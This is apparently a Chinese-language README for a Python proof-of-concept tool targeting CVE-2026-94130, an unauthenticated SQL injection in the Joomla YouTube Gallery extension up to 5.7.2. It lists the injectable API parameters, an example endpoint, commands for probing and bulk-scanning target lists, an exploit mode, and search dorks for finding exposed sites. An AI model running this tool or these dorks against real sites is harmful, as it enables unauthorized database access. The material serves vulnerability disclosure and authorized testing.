针对 CVE-2026-94130 的 Python 3 PoC — YouTube Gallery(com_youtubegallery,joomlaboat.com)。
CVE-2026-94130 — Joomla 的 YouTube Gallery ≤ 5.7.2 在视频搜索和排序请求处理中允许未认证 SQL 注入(CWE-89,CVSS 4.0 9.3 严重)。攻击者无需登录即可向读取查询注入 SQL。已在 5.7.3 中修复(2026 年 9 月)。
PoC 页面: https://pocbit.org/pocs/cve-2026-94130
| 产品 | Joomla 的 YouTube Gallery 扩展 |
| 组件 | com_youtubegallery |
| 受影响版本 | 1.0.0 – 5.7.2 |
| 修复版本 | 5.7.3 |
| 攻击向量 | 公开画廊 / yg_api=1 JSON API;参数包括 ygsearchfields、ygsearchquery、与排序相关的 GET 参数 |
| 分配者 | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --sqli-probe --listid 1 --themeid 1
python poc.py -u https://joomla.example --mode check --scan-ids --sqli-probe --delay 5
python poc.py --list targets.example.txt --mode check -j 10 --sqli-probe
示例 API 接口(需要有效的 listid + themeid):
/index.php?option=com_youtubegallery&view=youtubegallery&listid=1&themeid=1&yg_api=1
&ygsearchfields=es_title&ygsearchquery=...
body="com_youtubegallery"
inurl:"option=com_youtubegallery"
Joomla YouTube Gallery(joomlaboat.com)≤ 5.7.2 通过公开 yg_api 端点上的视频搜索/排序存在未认证 SQL 注入。Python 检查/利用 PoC — PoCbit。
CVE-2026-94130: Joomla YouTube Gallery 插件(≤ 5.7.2)中存在未认证的 SQL 注入;通过搜索和排序请求可干扰数据库读取查询。已在 5.7.3 中修复。CVSS 4.0 9.3 严重。
仅限授权测试。--sqli-probe / --mode exploit 会发送故意的 SQL 载荷(包括 SLEEP)。